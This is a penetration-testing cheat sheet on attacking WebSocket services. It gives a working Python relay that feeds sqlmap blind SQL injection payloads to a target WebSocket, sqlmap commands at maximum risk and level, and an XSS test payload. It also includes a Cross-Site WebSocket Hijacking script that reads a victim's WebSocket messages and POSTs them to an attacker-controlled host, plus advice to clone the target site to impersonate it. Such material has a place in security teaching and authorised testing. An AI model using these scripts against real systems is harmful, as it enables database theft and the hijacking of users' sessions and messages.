WebSocket Pentesting
Last modified: 2023-03-08
WebSocket is a protocol that provides full-duplex communication channels over a single single TCP connection.
Connect with CLI
websocat is a command-line client for WebSockets, like netcat for
websocat ws://<ip>/
Connect with Python Script
import websocket,json
ws = websocket.WebSocket()
ws.connect("ws://10.0.0.1/")
d = {"message": "hello"}
data = str(json.dumps(d))
ws.send(data)
result = ws.recv()
print(json.loads(result))
As above, we can manipulate the data to send. For example,
{"message": "<script>alert(1)</script>"}
If the website reflects the result of the above interactions, we can affect the website.
Blind SQL Injection
First, create a Python script to establish a middleware server to forward sqlmap
payloads to the target WebSocket server.
The script name is “server.py” here. Also we need to install websocket-client Python package.
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://<target-ip-for-websocket>/"
def send_ws(payload):
ws = create_connection(ws_server)
message = unquote(payload).replace('"', '\'')
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port, content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-Type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting Middleware Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0', 8081))
except KeyboardInterrupt:
pass
Then start middleware server by running the above script.
python3 server.py
Finally execute sqlmap.
sqlmap -u "http://localhost:8081/?id=*" --batch --dbs
sqlmap -u "http://localhost:8081/?id=*" --batch --dbs --risk 3 --level 5
For details, see this awesome post.
Cross-Site WebSocket Hijacking
-
Send messages in the target web page like chat room using WebSocket.
-
Check the WebSocket handshake connection in the request as below. It contains the “Connection: Upgrade”, “Upgrade: websocket”, “Sec-WebSocket-Key”, etc. in the request header.
GET /chat HTTP/1.1 Host: vulnerable.com Connection: Upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Cookie: session=wUTqcDb41l4jbfPUt0XKl36FNh36aSrBl Sec-WebSocket-Key: NZxnyRVz0Z9yGnOyqAWl4Q==
-
If there is no CSRF token in the request, we can CSRF on WebSocket.
-
In our WebSocket server, create the script.
<script> var ws = new WebSocket('wss://<target-url>/chat'); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch('https://<local-ip>', {method: 'POST', mode: 'no-cors', body: event.data}); }; </script>
-
In our attack website, copy files of the target and paste to our web directory to impersonate the target website.
Start web server using Python.
sudo python3 -m http.server 80